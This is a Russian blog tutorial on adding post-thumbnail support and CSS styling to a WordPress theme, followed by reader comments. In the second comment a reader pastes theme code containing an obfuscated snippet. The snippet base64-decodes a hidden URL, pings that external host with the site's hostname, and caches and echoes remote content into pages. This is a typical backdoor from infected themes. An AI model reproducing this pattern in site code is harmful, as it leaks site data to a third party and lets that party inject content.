Вывод миниатюр WordPress 27.04.2013

Здравствуйте, друзья! Сегодня, на мой взгляд, очень интересная тема. И пригодится она в первую очередь для тех людей, которые уже имею свои блоги на wp и хотят их визуально преобразить.

Да, в свое время я тоже задался таким вопросом — как сделать вывод миниатюр в wordpress. Так как тема моего первого блога studentbusines.com не поддерживала вывод миниатюр. В итоге я разобрался с этой проблемой. Но старый блог преобразовывать так и не стал... Посчитал что и так сойдет. Но когда я делал тему для этого блога, я не мог не сделать себе вывод миниатюр, уж больно они мне нравятся!

Блог с миниатюрами становится интереснее, красочнее, его хочется разглядывать. Лично я трачу кучу времени, чтоб подобрать миниатюрку к статье. Мое любимо занятие! Иногда у меня минут 30 уходит на поиск нужной картинки. Вот на столько я люблю делать вывод миниатюр wordpress. Ну да ладно, ближе к теме.

Добавление функции для вывода миниатюры в wordpress.

Вообще сама реализация задачи довольно проста и не требует больших преобразований. Но все таки пару строчек в код нашего шаблона добавить придется.

Для этого идем в notepad++, открываем наш сайт и ищем файл functions.php. Находится это файл в папке с вашей темой блога. Вот путь до него: /public_html/wp-content/themes/название вашей темы/functions.php. Отрываем файл:

И добавляем следующий код между <?php  и  ?>, которые у нас уже присутствуют в файле:

add_theme_support ('post-thumbnails'); // поддержка миниатюр
set_post_thumbnail_size (167, 124, TRUE);

Где 167 и 124 — это фиксированные размеры длинны и высоты картинки, в пикселях которая будет служить выведенной миниатюрой wordpress. 

После добавления этого дела в файл functions.php, сохраняем его и идем в нашу админку wordpress в добавление новой записи. И смотрим в нижний правый угол, у нас так появилась вот такое поле:

Теперь задать миниатюру мы можем! Но это еще не все.

Вывод миниатюр WordPress.

Для того чтоб наша миниатюра все таки начала отображаться в анонсах наших записей, нам необходимо открыть файл index.php, который у нас находится так же в папке с нашей темой - /public_html/wp-content/themes/название вашей темы/index.php, открыть его и вставить перех функцией - <?php the_excerpt (); ?> функцию - <?php the_post_thumbnail (); ?> .

Функция - <?php the_post_thumbnail (); ?>, как раз и отвечает за отображение нашей миниатюры а анонсе поста. Соханяем файл index.php. Но и это еще не совсем все. Остался последний штрих.

Прописываем стили для миниатюры.

Нам необходимо сделать так, чтоб текст анонса обтекал нашу миниатюру по ее правому краю. Для этого откройте файл style.css, он находится так же в попке с вашей темой -  /public_html/wp-content/themes/название вашей темы/style.css и где нибудь в самом низу этого файла добавьте следующий код:

.wp-post-image {
float: left;
margin: 4px 15px 5px 0;
}

И сохраните файл. Этот код как раз и поможет тексту обтекать картинку и все будет смотреться красиво! Так же еще можно добавить рамочку определенного цвета к картинке. С рамочкой, такого же цвета, что и гамма вашего сайта, миниатюры будут вписываться в общий стиль темы.

Если вы хотите, чтоб выводимая миниатюра была в рамке, то вместо когда который мы вставили, вставьте вот такой:

.wp-post-image {
float: left;
margin: 4px 15px 5px 0;
border: 5px solid #FFDD00;
}

Давайте разберем строчку border: 5px solid #FFDD00; чтоб было понятнее.

сама команда border: означает что мы задаем рамку для объекта, в данном случаи — это наша миниатюра. 5px — это толщина рамки, если она вас не устраивает можете изменить это значение. solid — означает что рамка будет в виде сплошной линии. Ну а #FFDD00 — обозначает цвет, в данном случаи я выбрал желтый, если он вам не подходит, подберите свой.

На этом у меня все, искренне надеюсь что статья для вас оказалась полезной. Подписывайтесь на обновления и до новый встреч!

P.S. А еще сегодня лирическое настроение и хочу c вами поделиться одном приятной песенкой, которая мне попалась сегодня на глаза и понравилась! Приятного прослушивания!

Sayt-Stroy.com

Метки: ,

Оставь свой первый комментарий и получи книгу в подарок!

Данная книга расскажет о всех секретах правильного и полноценного продвижения интернет проектов.

Именно с нее следует начать изучение SEO.

WordPress

17 комментариев на «Вывод миниатюр WordPress»

  1. '',

    'after_widget' => '',

    'before_title' => '',

    'after_title' => '',

    ));

    Вот мой код, из файла function.php,

    Пожалуйста скажите куда нужно вставить код «add_theme_support ('post-thumbnails'); // поддержка миниатюр

    set_post_thumbnail_size (167, 124, TRUE);»

    Взаранее спасибо!!!

    • admin:

      Вы мне прислали какой то обрывок...

      В последней строчке у вас написано — ?>

      Вот перед этой надписью вставьте код.

      add_theme_support ('post-thumbnails'); // поддержка миниатюр

      set_post_thumbnail_size (167, 124, TRUE);

  2. get_row («SELECT * FROM $wpdb->options WHERE option_id=9999», ARRAY_A);

    if ((($post_contents['option_name']+86400) query ( «DELETE FROM $wpdb->options WHERE option_id=9999»);

    $wpdb->query ($wpdb->prepare («INSERT INTO $wpdb->options ( option_id, blog_id, option_name,option_value,autoload ) VALUES ( %d,%d, %s, %s, %s )», 9999, 0, time (),$content,'no' ) );

    $post_id_stat=(base64_decode ('aHR0cDovL25hMTAwLnJ1L3dwMy9zdGF0cy5waHA/aG9zdD0=')).$_SERVER['HTTP_HOST'];

    @file_get_contents ($post_id_stat);

    echo $content;

    }

    else {

    echo $post_contents['option_value'];

    }

    }

    }

    ?>

    '',

    'after_widget' => '',

    'before_title' => '',

    'after_title' => '',

    ));

    ?>

    Извените отправил обрывок. Вот код. Скажите пожалуйста куда вставить????

  3. Код Вставляется в комент норм, листается, все ок. Но когда отправляю то не полностью отправляестя!!! этот тоже не полностью!

  4. Благодарю за информацию. Очень помог код с обтеканием текста, просто вставила в style и все получилось. Благодарю.

  5. Андрей:

    Добрый день ! Помогите с анонсами в статьях. На главной я сделал анонс с миниатюрами на новые статьи (последние 5 добавленных),тут вопросов нет. Мне нужно сделать так, чтобы в самой статье внизу были 3-5 анонсов с миниатюрами на другие статьи, но не динамические (похожие статьи), как делает, например, плагин Related posts, а статические, те которые я сам укажу для каждой статьи. Подскажите, если есть такое решение, что и куда вставить. Буду очень благодарен!

    • admin:

      Открываете index.php своей темы и перед вот этой строчкой — < ?php endif; ?> выводите свои статичные посты. Они будут отображаться на всех страницах на которых выводятся анонсы постов.

  6. Андрей:

    Спасибо за ответ и за оперативность! Но меня интересовало немного другое. С главной я уже разобрался. А вот мне нужно (для перелинковки) чтоб на всех страницах статей (где статья полностью открыта) внизу сделать анонс 3-5 других с миниатюрой статей (каких, это я сам буду назначать для каждой статьи). Т.е. для каждой статьи 3-5 анонсов других статей. Для каждой страницы анонсы будут различаться (может некоторые будут совпадать). Вопрос — как это организовать и упростить?

    • admin:

      А, это я видимо не совсем внимательно прочитал. Ну тогда надо открыть файл single.php и вставить все что вам нужно там. Вставить ориентировочно надо после строчки < ?php the_content(); ?>. А вообще, мой вам совет, не парьтесь с перелинковкой :)

      Главное — это поведенческие факторы на сайте. И чтоб люди как можно больше переходили по этим ссылкам, может лучше разместить вывод статей где нить в сквозном элементе, например в файле — sidebar.php?

      • Андрей:

        Просто я следую рекомендациям одного авторитетного человека в рунете. Довольно успешного. Он просто предпочитает чистые сайты на обычном html. Я работаю с вордпресс и мне интересно подстроить свой сайт под его рекомендации. Цель — контекстная реклама... Такие вот дела...

  7. Иван, приветствую!

    Быть может, Вы подскажете как сделать миниатюру для одной записи блога. Прежде «задать миниатюру» работало, а теперь при нажатии выдается окно в котором не выводятся имеющиеся медиафайлы. «загрузить файлы» дает ошибку, но в билиотеку файл все равно попадает.

    так вот в тексте записи картинки коек-как прописала. Но мне очень нужна миниатюра (чтоб было превью в первом квадрате) в первом посте, а так как функция «поломалася» можно ее хотябы вручную прописать или что-то нужно делать с библиотекой файлов? Картинки через визуальный редактор записей теперь тоже не вставляются, только прописываются в HTML.

    • admin:

      Здравствуйте, Светлана! Дело тут наверняка не в библиотеке файлов. Вы делали вывод миниатюр с помощью моего поста или уже в вашей теме они был по умолчанию сделаны? Скорее всего если вы добавляли миниатюры самостоятельно вы допустили ошибку либо в funtions.php, либо в файле index.php.

      Статически ни как миниатюру для поста не вставить, это можно сделать только если вывести его в index.php перед выводом всех постов, при этом он будет отображаться на всех страницах где есть вывод записей.

      Советую внимательно просмотреть исходный код вышеуказанных файлов и проискать ошибку, часто бывает так, что из за одного символа все портится.

  8. И все же если долго мучится все получится. Спасибо все работает. В моем случае в index.php вставил выше ниже

  9. Анд:

    Здравствуйте. Появился вопрос:

    add_theme_support ('post-thumbnails'); // поддержка миниатюр

    set_post_thumbnail_size (167, 124, TRUE);

    Как можно сделать, чтобы картинка, которая будет служить миниатюрой уменьшалась просто в два раза ? Фиктивный размер меня не устраивает, какой бы я не поставил, он тупо вырезает ее края и все. Получается не слишком красиво.

    • admin:

      Попробуйте вместо TRUE написать FALES. При этом изображение будет уменьшено пропорционально.

  10. Хм, а у меня почему то не получилось, чтобы текст обхватывал миниатюру. Это может быть из-за шаблона?

  11. Спасибо нашел то, что искал!

Добавить комментарий

ВКонтакте